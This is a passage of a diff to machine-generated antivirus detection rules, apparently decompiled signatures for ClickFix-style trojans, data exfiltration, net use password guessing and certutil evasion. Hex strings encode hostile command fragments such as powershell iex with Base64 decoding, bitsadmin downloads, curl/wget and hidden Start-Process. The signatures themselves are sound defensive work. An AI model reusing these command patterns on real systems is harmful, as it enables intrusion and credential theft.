75 54 61 73 6b } //112 + $a_73_4 = {63 00 } //26880 c condition: - ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*112+(#a_54_3 & 1)*8519) >=11 + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*112+(#a_73_4 & 1)*26880) >=11 } -rule _InfrastructureShared_26283{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,7e 00 7e 00 07 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 41 47 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 05 00 08 00 68 00 74 00 74 00 70 00 14 00 1d 02 53 00 74 00 61 00 } //21283 - $a_00_1 = {90 02 04 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 90 00 01 00 04 00 d8 3e dd e0 01 00 06 00 20 00 05 27 20 00 01 00 04 00 d8 3e dd 16 01 00 06 00 20 00 14 27 20 00 00 00 d7 96 00 00 01 00 01 00 01 00 21 23 54 45 4c 50 45 52 3a 48 53 54 52 3a 57 69 6e 33 32 2f 50 72 69 66 6f 75 54 61 73 6b 2e 41 00 01 00 69 02 73 00 63 00 68 00 74 00 61 00 73 00 } //114 - $a_00_2 = {2e 00 65 00 78 00 65 00 20 00 2f 00 63 00 72 00 65 00 61 00 74 00 65 00 20 00 2f 00 66 00 20 00 2f 00 74 00 6e 00 20 00 90 02 80 20 00 2f 00 78 00 6d 00 6c 00 20 00 90 02 80 5c 00 61 00 70 00 70 00 64 00 61 00 74 00 61 00 5c 00 90 02 80 2e 00 78 00 6d 00 6c 00 90 00 00 00 d7 96 00 00 06 00 06 00 06 00 21 23 54 45 4c 3a 4b 6f 61 64 69 63 2e 42 } //107 - $a_74_3 = {00 01 00 14 00 62 00 69 00 74 00 73 00 61 00 64 00 6d 00 69 00 6e 00 20 00 01 00 14 00 2f 00 74 00 72 00 61 00 6e 00 73 00 66 00 65 00 72 00 20 00 01 00 14 00 2f 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 20 00 01 00 14 00 2f 00 70 00 72 00 69 00 6f 00 72 00 69 00 74 00 79 00 20 00 01 00 0a 00 20 00 68 00 74 00 74 00 70 00 01 00 08 00 2e } //24865 - condition: - ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*114+(#a_00_2 & 1)*107+(#a_74_3 & 1)*24865) >=126 - -} -rule _InfrastructureShared_26284{ +rule _InfrastructureShared_27806{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " @@ -343861,7 +363588,7 @@ rule _InfrastructureShared_26284{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26285{ +rule _InfrastructureShared_27807{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,06 00 06 00 06 00 21 " @@ -343874,7 +363601,7 @@ rule _InfrastructureShared_26285{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*110+(#a_00_4 & 1)*115+(#a_54_5 & 1)*8448) >=6 } -rule _InfrastructureShared_26286{ +rule _InfrastructureShared_27808{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 21 " @@ -343887,7 +363614,7 @@ rule _InfrastructureShared_26286{ ((#a_4c_0 & 1)*21539+(#a_02_1 & 1)*1+(#a_02_2 & 1)*1+(#a_97_3 & 1)*0) >=4 } -rule _InfrastructureShared_26287{ +rule _InfrastructureShared_27809{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,06 00 06 00 06 00 21 " @@ -343896,12 +363623,12 @@ rule _InfrastructureShared_26287{ $a_00_2 = {2f 00 63 00 01 00 0e 01 63 00 75 00 72 00 6c 00 20 00 2d 00 6f 00 01 00 15 02 68 00 74 00 74 00 } //100 $a_02_3 = {3c 2e 00 70 00 68 00 70 00 90 00 01 00 08 01 7c 00 63 00 6d 00 64 00 00 00 d7 98 00 00 02 00 02 00 02 00 21 23 53 4c 46 3a 57 69 6e 33 32 2f 57 6d 69 45 78 63 6c 75 73 2e 41 00 02 00 38 02 77 00 6d 00 69 00 63 00 90 02 f0 6d 00 73 00 66 00 74 00 5f 00 6d 00 70 00 70 00 72 00 65 00 66 00 65 00 72 00 65 00 6e 00 63 00 65 00 90 02 f0 61 00 64 00 64 00 90 00 02 00 38 02 77 00 6d 00 69 00 63 00 90 02 f0 6d 00 73 00 66 00 74 00 5f 00 } //112 $a_00_4 = {70 00 72 00 65 00 66 00 65 00 72 00 65 00 6e 00 63 00 65 00 90 02 f0 73 00 65 00 74 00 90 00 00 00 d7 98 00 00 04 00 04 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 65 66 65 6e 63 65 45 76 61 73 69 6f 6e 56 69 61 43 65 72 74 55 74 69 6c 2e 41 00 02 00 2e 00 5f 00 6f 00 62 00 66 00 75 00 73 00 63 00 61 00 74 00 } //109 - $a_00_5 = {64 00 65 00 6f 00 62 00 66 00 75 00 73 00 63 00 61 00 74 00 65 00 5c 00 02 00 2b 02 63 00 65 00 72 00 74 00 75 00 74 00 69 00 6c 00 2e 00 65 00 78 00 65 00 90 02 04 2d 00 64 00 65 00 63 00 6f 00 64 00 65 00 90 00 00 00 d7 98 00 00 18 00 18 00 06 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e } //101 + $a_00_5 = {64 00 65 00 6f 00 62 00 66 00 75 00 73 00 63 00 61 00 74 00 65 00 5c 00 02 00 2b 02 63 00 65 00 72 00 74 00 75 00 74 00 69 00 6c 00 2e 00 65 00 78 00 65 00 90 02 04 2d 00 64 00 65 00 63 00 6f 00 64 00 65 00 90 00 00 00 d7 98 00 00 04 00 04 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e } //101 condition: ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*100+(#a_02_3 & 1)*112+(#a_00_4 & 1)*109+(#a_00_5 & 1)*101) >=6 } -rule _InfrastructureShared_26288{ +rule _InfrastructureShared_27810{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 21 " @@ -343912,7 +363639,7 @@ rule _InfrastructureShared_26288{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*144) >=2 } -rule _InfrastructureShared_26289{ +rule _InfrastructureShared_27811{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 02 00 21 " @@ -343922,7 +363649,19 @@ rule _InfrastructureShared_26289{ ((#a_46_0 & 1)*21283) >=4 } -rule _InfrastructureShared_26290{ +rule _InfrastructureShared_27812{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 42 42 43 21 4d 54 42 00 01 00 18 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 20 00 24 00 01 00 1e 00 73 00 74 00 61 00 72 00 74 00 2d 00 70 00 } //21283 + $a_00_1 = {63 00 65 00 73 00 73 00 20 00 24 00 01 00 1e 00 53 00 65 00 74 00 2d 00 43 00 6c 00 69 00 70 00 62 00 6f 00 61 00 72 00 64 00 20 00 2d 00 01 00 08 00 68 00 74 00 74 00 70 00 00 00 d7 98 00 00 18 00 18 00 06 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4e 65 74 55 73 65 2e 41 00 0a 00 0e 00 6e 00 65 00 74 00 2e 00 65 } //114 + $a_00_3 = {75 00 73 00 65 00 } //10 use + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*114+(#a_00_3 & 1)*10) >=4 + +} +rule _InfrastructureShared_27813{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,18 00 18 00 06 00 21 " @@ -343930,72 +363669,210 @@ rule _InfrastructureShared_26290{ $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4e 65 74 55 73 65 2e 41 00 0a 00 0e 00 6e 00 65 00 74 00 2e 00 65 00 78 00 65 00 0a 00 06 00 75 00 73 00 65 00 02 00 14 00 50 00 61 00 73 00 73 00 77 00 6f 00 72 00 64 00 31 00 21 00 02 00 } //21283 $a_00_1 = {61 00 73 00 73 00 77 00 6f 00 72 00 64 00 32 00 21 00 02 00 14 00 50 00 61 00 73 00 73 00 77 00 6f 00 72 00 64 00 33 00 21 00 02 00 0c 00 2f 00 75 00 73 00 65 00 72 00 3a 00 00 00 d7 98 00 00 1e 00 1e 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a } //20 $a_57_2 = {6e 33 32 2f 44 61 74 61 45 78 66 69 6c 2e 53 41 00 0a 00 1e 00 2d 00 2d 00 6c 00 69 00 6d 00 69 00 74 00 5f 00 75 00 70 00 5f 00 73 00 69 00 7a 00 65 00 0a 00 1a 00 2d 00 2d } //28257 - $a_00_4 = {65 00 6e 00 63 00 72 00 79 00 70 00 74 00 0a 00 0e 00 2d 00 64 00 20 00 76 00 70 00 73 00 20 00 0a 00 1a 00 2d 00 62 00 6c 00 6f 00 63 00 6b 00 5f 00 73 00 75 00 66 00 66 00 69 00 78 00 00 00 d7 99 00 00 02 00 02 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 45 78 } //115 - $a_74_5 = {6f 6e 46 72 6f 6d 41 44 53 2e 42 00 01 00 12 80 01 70 6f 77 65 72 73 68 65 6c 6c 2e 65 78 65 20 2d 20 3c 01 00 31 02 5c 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 74 00 65 00 6d 00 70 00 5c 00 73 00 62 00 2d 00 73 00 69 00 6d 00 2d 00 90 02 80 3a 00 90 00 01 00 1b 02 5c 77 69 6e 64 6f 77 73 5c 74 65 6d 70 5c 73 62 2d 73 69 6d 2d 90 02 80 3a } //25445 + $a_00_4 = {65 00 6e 00 63 00 72 00 79 00 70 00 74 00 0a 00 0e 00 2d 00 64 00 20 00 76 00 70 00 73 00 20 00 0a 00 1a 00 2d 00 62 00 6c 00 6f 00 63 00 6b 00 5f 00 73 00 75 00 66 00 66 00 69 00 78 00 00 00 d7 98 00 00 6f 00 6f 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c } //115 + $a_46_5 = {78 2e 44 47 55 21 4d 54 42 00 64 00 1d 02 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 20 00 90 02 50 24 00 90 00 0a 00 29 02 2d 00 72 00 65 00 70 00 6c 00 61 00 63 00 65 00 20 00 27 00 5b 00 90 02 0f 23 00 90 02 0f 40 00 21 00 90 02 0f 5d 00 90 00 01 00 0a 00 69 00 65 00 78 00 28 00 24 00 01 00 0c 00 69 } //25449 condition: - ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*20+(#a_57_2 & 1)*28257+(#a_00_4 & 1)*115+(#a_74_5 & 1)*25445) >=24 + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*20+(#a_57_2 & 1)*28257+(#a_00_4 & 1)*115+(#a_46_5 & 1)*25449) >=24 } -rule _InfrastructureShared_26291{ +rule _InfrastructureShared_27814{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,1e 00 1e 00 04 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 61 74 61 45 78 66 69 6c 2e 53 41 00 0a 00 1e 00 2d 00 2d 00 6c 00 69 00 6d 00 69 00 74 00 5f 00 75 00 70 00 5f 00 73 00 69 00 7a 00 65 00 0a 00 1a 00 2d 00 2d 00 64 00 69 00 73 00 5f 00 } //21283 - $a_00_1 = {63 00 72 00 79 00 70 00 74 00 0a 00 0e 00 2d 00 64 00 20 00 76 00 70 00 73 00 20 00 0a 00 1a 00 2d 00 62 00 6c 00 6f 00 63 00 6b 00 5f 00 73 00 75 00 66 00 66 00 69 00 78 00 00 00 d7 99 00 00 02 00 02 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 45 78 65 63 75 74 69 6f 6e 46 72 6f 6d 41 44 53 2e 42 00 01 00 } //101 - $a_70_2 = {77 } //-32750 w - $a_68_3 = {6c 6c 2e 65 78 65 20 2d 20 3c 01 00 31 02 5c 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 74 00 65 00 6d 00 70 00 5c 00 73 00 62 00 2d 00 73 00 69 00 6d 00 2d 00 90 02 80 3a 00 90 00 01 00 1b 02 5c 77 69 6e 64 6f 77 73 5c 74 65 6d 70 5c 73 62 2d 73 69 6d 2d 90 02 80 3a 90 00 00 00 d7 9b 00 00 02 00 02 00 03 00 21 23 53 4c 46 3a 54 72 6f } //29285 + $a_00_1 = {63 00 72 00 79 00 70 00 74 00 0a 00 0e 00 2d 00 64 00 20 00 76 00 70 00 73 00 20 00 0a 00 1a 00 2d 00 62 00 6c 00 6f 00 63 00 6b 00 5f 00 73 00 75 00 66 00 66 00 69 00 78 00 00 00 d7 98 00 00 6f 00 6f 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 47 55 21 4d 54 42 00 64 00 1d 02 } //101 + $a_00_2 = {77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 20 00 90 02 50 24 00 90 00 0a 00 29 02 2d 00 72 00 65 00 70 00 6c 00 61 00 63 00 65 00 20 00 27 00 5b 00 90 02 0f 23 00 90 02 0f 40 00 21 00 90 02 0f 5d 00 90 00 01 00 0a 00 69 00 65 00 78 00 28 00 24 00 01 00 0c 00 69 00 65 00 78 00 20 00 28 00 24 00 00 00 d7 98 00 00 78 00 78 00 03 } //112 + $a_53_3 = {46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 44 53 21 4d 54 42 00 64 00 14 } //8448 condition: - ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*101+(#a_70_2 & 1)*-32750+(#a_68_3 & 1)*29285) >=30 + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*101+(#a_00_2 & 1)*112+(#a_53_3 & 1)*8448) >=30 } -rule _InfrastructureShared_26292{ +rule _InfrastructureShared_27815{ meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 03 00 21 " + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,6f 00 6f 00 04 00 21 " strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 45 78 65 63 75 74 69 6f 6e 46 72 6f 6d 41 44 53 2e 42 00 01 00 12 80 01 70 6f 77 65 72 73 68 65 6c 6c 2e 65 78 65 20 2d 20 3c 01 00 31 02 5c 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c } //21283 - $a_00_2 = {5c 00 73 00 62 00 2d 00 73 00 69 00 6d 00 2d 00 90 02 80 3a 00 90 00 01 00 1b 02 5c 77 69 6e 64 6f 77 73 5c 74 65 6d 70 5c 73 62 2d 73 69 6d 2d 90 02 80 3a 90 00 00 00 d7 9b 00 00 02 00 02 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 63 63 6f 75 6e 74 44 69 73 63 6f 76 65 72 79 2e 53 00 01 00 0b 80 01 77 73 63 } //109 + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 47 55 21 4d 54 42 00 64 00 1d 02 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 20 00 90 02 50 24 00 90 00 0a 00 29 02 2d 00 72 00 65 00 70 00 6c } //21283 + $a_00_2 = {27 00 5b 00 90 02 0f 23 00 90 02 0f 40 00 21 00 90 02 0f 5d 00 90 00 01 00 0a 00 69 00 65 00 78 } //101 condition: - ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*109) >=2 + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*101) >=111 } -rule _InfrastructureShared_26293{ +rule _InfrastructureShared_27816{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,78 00 78 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 44 53 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 3a 00 5b 00 43 00 6f 00 6e 00 76 00 65 00 72 00 74 00 5d 00 } //21283 + $a_00_1 = {46 00 72 00 6f 00 6d 00 42 00 61 00 73 00 65 00 36 00 34 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 24 00 0a 00 12 00 3b 00 69 00 65 00 78 00 20 00 28 00 26 00 28 00 24 00 } //58 + $a_98_2 = {00 79 00 79 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 48 4c 21 4d 54 42 00 64 00 14 00 6c 00 6c 00 65 00 68 00 73 00 72 00 65 00 77 00 6f 00 50 00 0a 00 20 00 67 00 6e 00 69 00 72 00 74 00 53 00 34 00 36 00 65 00 73 00 61 00 42 00 6d 00 6f 00 72 00 46 00 0a 00 12 00 2e 00 52 00 65 00 70 00 6c 00 61 00 63 00 65 00 28 00 01 00 16 00 2e 00 47 00 65 00 74 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 00 00 d7 98 00 00 79 00 79 00 05 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 69 6c 65 46 69 78 2e 44 42 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 } //0 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*58+(#a_98_2 & 1)*0) >=120 + +} +rule _InfrastructureShared_27817{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,79 00 79 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 48 4c 21 4d 54 42 00 64 00 14 00 6c 00 6c 00 65 00 68 00 73 00 72 00 65 00 77 00 6f 00 50 00 0a 00 20 00 67 00 6e 00 69 00 72 00 74 00 53 00 34 00 36 00 65 00 } //21283 + $a_00_1 = {42 00 6d 00 6f 00 72 00 46 00 0a 00 12 00 2e 00 52 00 65 00 70 00 6c 00 61 00 63 00 65 00 28 00 01 00 16 00 2e 00 47 00 65 00 74 00 53 00 74 00 72 00 69 00 6e 00 67 00 28 00 00 00 d7 98 00 00 79 00 79 00 05 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 69 6c 65 46 69 78 2e } //115 + $a_4d_2 = {42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 0e 00 7c 00 20 } //16964 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*115+(#a_4d_2 & 1)*16964) >=121 + +} +rule _InfrastructureShared_27818{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,79 00 79 00 05 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 69 6c 65 46 69 78 2e 44 42 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 0e 00 7c 00 20 00 69 00 65 00 78 00 20 00 7c 00 0a 00 28 00 53 00 } //21283 + $a_00_1 = {72 00 74 00 2d 00 53 00 6c 00 65 00 65 00 70 00 20 00 2d 00 53 00 65 00 63 00 6f 00 6e 00 64 00 73 00 01 00 08 00 63 00 75 00 72 00 6c 00 01 00 08 00 77 00 67 00 65 00 74 00 00 00 d7 99 00 00 05 00 05 00 05 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 } //116 + $a_42_2 = {4d 54 42 00 01 00 1b 02 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 90 02 50 24 00 90 00 01 00 10 00 63 00 6d 00 64 00 20 00 2f 00 63 00 20 00 24 00 01 00 08 00 68 00 74 00 74 00 70 00 01 } //17454 + $a_00_4 = {72 00 74 00 2d 00 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 01 00 0c 00 68 00 69 00 64 00 64 00 65 00 6e 00 00 00 d7 99 00 00 0b 00 0b 00 06 00 21 23 53 4c 46 3a 45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 52 61 73 70 6f 73 00 0a 00 20 00 69 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 6d 00 73 00 } //116 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*116+(#a_42_2 & 1)*17454+(#a_00_4 & 1)*116) >=121 + +} +rule _InfrastructureShared_27819{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 44 42 21 4d 54 42 00 01 00 1b 02 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 90 02 50 24 00 90 00 01 00 10 00 63 00 6d 00 64 00 20 00 2f 00 63 } //21283 + $a_00_2 = {68 00 74 00 74 00 70 00 } //1 http + $a_00_3 = {53 00 74 00 61 00 72 00 74 00 2d 00 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 } //1 Start-Process + $a_00_4 = {68 00 69 00 64 00 64 00 65 00 6e 00 } //1 hidden + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1) >=5 + +} +rule _InfrastructureShared_27820{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 06 00 21 " + + strings : + $a_46_0 = {45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 52 61 73 70 6f 73 00 0a 00 20 00 69 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 6d 00 73 00 6f 00 6c 00 73 00 70 00 72 00 61 00 79 00 01 00 10 00 75 00 73 00 65 00 72 00 6c 00 69 00 73 00 74 } //21283 + $a_00_3 = {77 00 6f 00 72 00 64 00 01 00 0e 00 6f 00 75 00 74 00 66 00 69 00 6c 00 65 00 01 00 0a 00 66 00 6f 00 72 00 63 00 65 00 01 00 06 00 75 00 72 00 6c 00 00 00 d7 9a 00 00 02 00 02 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 43 43 5a 21 4d 54 42 00 01 00 32 00 2e 00 28 00 5b 00 53 00 63 00 72 00 69 } //115 + $a_00_5 = {6f 00 63 00 6b 00 5d 00 3a 00 3a 00 43 00 72 00 65 00 61 00 74 00 65 00 28 00 28 00 01 00 34 00 5b 00 63 00 68 00 61 00 72 00 5d 00 5b 00 63 00 6f 00 6e 00 76 00 65 00 72 00 74 00 5d 00 3a 00 3a 00 54 00 6f 00 49 00 6e 00 74 00 33 00 32 00 28 00 24 00 00 00 d7 9a 00 00 04 00 04 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e } //66 + condition: + ((#a_46_0 & 1)*21283+(#a_00_3 & 1)*115+(#a_00_5 & 1)*66) >=11 + +} +rule _InfrastructureShared_27821{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 43 43 5a 21 4d 54 42 00 01 00 32 00 2e 00 28 00 5b 00 53 00 63 00 72 00 69 00 70 00 74 00 42 00 6c 00 6f 00 63 00 6b 00 5d 00 3a 00 3a 00 43 00 72 00 65 00 61 00 } //21283 + $a_00_1 = {28 00 28 00 01 00 34 00 5b 00 63 00 68 00 61 00 72 00 5d 00 5b 00 63 00 6f 00 6e 00 76 00 65 00 72 00 74 00 5d 00 3a 00 3a 00 54 00 6f 00 49 00 6e 00 74 00 33 00 32 00 28 00 24 00 00 00 d7 9a 00 00 04 00 04 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 } //116 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*116) >=2 + +} +rule _InfrastructureShared_27822{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 44 4b 21 4d 54 42 00 01 00 20 00 2e 00 53 00 65 00 6e 00 64 00 4b 00 65 00 79 00 73 00 28 00 5b 00 63 00 68 00 61 00 72 00 5d 00 01 00 0c 00 20 00 46 00 6f 00 } //21283 + $a_00_1 = {24 00 01 00 18 00 73 00 63 00 72 00 69 00 70 00 74 00 2e 00 73 00 68 00 65 00 6c 00 6c 00 01 00 1a 00 68 00 74 00 74 00 } //114 + $a_00_2 = {3a 00 2f 00 2f 00 79 00 6f 00 75 00 74 00 75 00 00 00 d7 9a 00 00 04 00 04 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 68 6f 72 45 78 65 63 2e 41 00 01 00 08 00 65 00 63 00 68 00 6f 00 01 00 0c 00 63 00 6d 00 64 00 20 00 2f 00 6b 00 01 00 48 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 53 00 74 00 61 00 72 } //112 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*114+(#a_00_2 & 1)*112) >=4 + +} +rule _InfrastructureShared_27823{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 68 6f 72 45 78 65 63 2e 41 00 01 00 08 00 65 00 63 00 68 00 6f 00 01 00 0c 00 63 00 6d 00 64 00 20 00 2f 00 6b 00 01 00 48 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 53 00 } //21283 + $a_00_1 = {72 00 74 00 20 00 4d 00 65 00 6e 00 75 00 5c 00 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 73 00 5c 00 53 00 74 00 61 00 72 00 74 00 75 00 70 00 01 00 08 00 65 00 78 00 69 00 74 00 00 00 d7 9a 00 00 12 00 12 00 05 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 } //116 + $a_44_2 = {50 21 4d 54 42 00 0a 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 05 00 32 00 2d 00 55 00 73 00 65 00 42 00 61 00 } //30825 + $a_00_3 = {63 00 50 00 61 00 72 00 73 00 69 00 6e 00 67 00 29 00 2e 00 43 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 01 00 06 00 69 00 65 00 78 00 01 00 06 00 69 00 77 00 72 00 01 00 08 00 68 00 74 00 74 00 70 00 00 00 d7 9a 00 00 18 00 18 00 06 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 73 68 45 78 65 63 2e } //115 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*116+(#a_44_2 & 1)*30825+(#a_00_3 & 1)*115) >=4 + +} +rule _InfrastructureShared_27824{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,12 00 12 00 05 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 41 50 21 4d 54 42 00 0a 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 05 00 32 00 2d 00 55 00 73 00 65 00 42 00 61 00 73 00 69 00 63 00 } //21283 + $a_00_1 = {72 00 73 00 69 00 6e 00 67 00 29 00 2e 00 43 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 01 00 06 00 69 00 65 00 78 00 01 00 06 00 69 00 77 00 72 00 01 00 08 00 68 00 74 00 74 00 70 00 00 00 d7 9a 00 00 18 00 18 00 06 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 73 68 45 78 65 } //80 + $a_41_2 = {0a 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 0e 00 72 00 65 00 70 00 6c 00 61 00 63 00 65 00 02 00 0e 00 73 00 73 00 68 00 2e 00 65 00 78 00 65 00 02 00 18 00 70 00 72 00 6f 00 